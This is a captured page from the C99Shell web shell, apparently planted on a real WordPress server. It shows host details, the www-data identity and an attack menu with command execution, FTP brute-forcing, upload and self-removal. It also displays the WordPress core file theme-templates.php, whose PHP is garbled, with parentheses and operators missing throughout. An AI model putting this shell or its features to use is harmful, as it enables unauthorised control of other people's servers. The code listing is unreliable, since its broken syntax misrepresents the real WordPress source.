!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/srishticampus.in/wp-includes/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     theme-templates.php (5.39 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Sets a custom slug when creating auto-draft template parts.
 *
 * This is only needed for auto-drafts created by the regular WP editor.
 * If this page is to be removed, this will not be necessary.
 *
 * @since 5.9.0
 *
 * @param int $post_id Post ID.
 */
function wp_set_unique_slug_on_create_template_part$post_id ) {
    
$post get_post$post_id );
    if ( 
'auto-draft' !== $post->post_status ) {
        return;
    }

    if ( ! 
$post->post_name ) {
        
wp_update_post(
            array(
                
'ID'        => $post_id,
                
'post_name' => 'custom_slug_' uniqid(),
            )
        );
    }

    
$terms get_the_terms$post_id'wp_theme' );
    if ( ! 
is_array$terms ) || ! count$terms ) ) {
        
wp_set_post_terms$post_idwp_get_theme()->get_stylesheet(), 'wp_theme' );
    }
}

/**
 * Generates a unique slug for templates.
 *
 * @access private
 * @since 5.8.0
 *
 * @param string $override_slug The filtered value of the slug (starts as `null` from apply_filter).
 * @param string $slug          The original/un-filtered slug (post_name).
 * @param int    $post_ID       Post ID.
 * @param string $post_status   No uniqueness checks are made if the post is still draft or pending.
 * @param string $post_type     Post type.
 * @return string The original, desired slug.
 */
function wp_filter_wp_template_unique_post_slug$override_slug$slug$post_ID$post_status$post_type ) {
    if ( 
'wp_template' !== $post_type && 'wp_template_part' !== $post_type ) {
        return 
$override_slug;
    }

    if ( ! 
$override_slug ) {
        
$override_slug $slug;
    }

    
/*
     * Template slugs must be unique within the same theme.
     * TODO - Figure out how to update this to work for a multi-theme environment.
     * Unfortunately using `get_the_terms()` for the 'wp-theme' term does not work
     * in the case of new entities since is too early in the process to have been saved
     * to the entity. So for now we use the currently activated theme for creation.
     */
    
$theme wp_get_theme()->get_stylesheet();
    
$terms get_the_terms$post_ID'wp_theme' );
    if ( 
$terms && ! is_wp_error$terms ) ) {
        
$theme $terms[0]->name;
    }

    
$check_query_args = array(
        
'post_name__in'  => array( $override_slug ),
        
'post_type'      => $post_type,
        
'posts_per_page' => 1,
        
'no_found_rows'  => true,
        
'post__not_in'   => array( $post_ID ),
        
'tax_query'      => array(
            array(
                
'taxonomy' => 'wp_theme',
                
'field'    => 'name',
                
'terms'    => $theme,
            ),
        ),
    );
    
$check_query      = new WP_Query$check_query_args );
    
$posts            $check_query->posts;

    if ( 
count$posts ) > ) {
        
$suffix 2;
        do {
            
$query_args                  $check_query_args;
            
$alt_post_name               _truncate_post_slug$override_slug200 - ( strlen$suffix ) + ) ) . "-$suffix";
            
$query_args['post_name__in'] = array( $alt_post_name );
            
$query                       = new WP_Query$query_args );
            
$suffix++;
        } while ( 
count$query->posts ) > );
        
$override_slug $alt_post_name;
    }

    return 
$override_slug;
}

/**
 * Prints the skip-link script & styles.
 *
 * @access private
 * @since 5.8.0
 *
 * @global string $_wp_current_template_content
 */
function the_block_template_skip_link() {
    global 
$_wp_current_template_content;

    
// Early exit if not a block theme.
    
if ( ! current_theme_supports'block-templates' ) ) {
        return;
    }

    
// Early exit if not a block template.
    
if ( ! $_wp_current_template_content ) {
        return;
    }
    
?>

    <?php
    
/**
     * Print the skip-link styles.
     */
    
?>
    <style id="skip-link-styles">
        .skip-link.screen-reader-text {
            border: 0;
            clip: rect(1px,1px,1px,1px);
            clip-path: inset(50%);
            height: 1px;
            margin: -1px;
            overflow: hidden;
            padding: 0;
            position: absolute !important;
            width: 1px;
            word-wrap: normal !important;
        }

        .skip-link.screen-reader-text:focus {
            background-color: #eee;
            clip: auto !important;
            clip-path: none;
            color: #444;
            display: block;
            font-size: 1em;
            height: auto;
            left: 5px;
            line-height: normal;
            padding: 15px 23px 14px;
            text-decoration: none;
            top: 5px;
            width: auto;
            z-index: 100000;
        }
    </style>
    <?php
    
/**
     * Print the skip-link script.
     */
    
?>
    <script>
    ( function() {
        var skipLinkTarget = document.querySelector( 'main' ),
            sibling,
            skipLinkTargetID,
            skipLink;

        // Early exit if a skip-link target can't be located.
        if ( ! skipLinkTarget ) {
            return;
        }

        // Get the site wrapper.
        // The skip-link will be injected in the beginning of it.
        sibling = document.querySelector( '.wp-site-blocks' );

        // Early exit if the root element was not found.
        if ( ! sibling ) {
            return;
        }

        // Get the skip-link target's ID, and generate one if it doesn't exist.
        skipLinkTargetID = skipLinkTarget.id;
        if ( ! skipLinkTargetID ) {
            skipLinkTargetID = 'wp--skip-link--target';
            skipLinkTarget.id = skipLinkTargetID;
        }

        // Create the skip link.
        skipLink = document.createElement( 'a' );
        skipLink.classList.add( 'skip-link', 'screen-reader-text' );
        skipLink.href = '#' + skipLinkTargetID;
        skipLink.innerHTML = '<?php esc_html_e'Skip to content' ); ?>';

        // Inject the skip link.
        sibling.parentElement.insertBefore( skipLink, sibling );
    }() );
    </script>
    <?php
}

/**
 * Enables the block templates (editor mode) for themes with theme.json by default.
 *
 * @access private
 * @since 5.8.0
 */
function wp_enable_block_templates() {
    if ( 
wp_is_block_theme() || WP_Theme_JSON_Resolver::theme_has_support() ) {
        
add_theme_support'block-templates' );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0061 ]--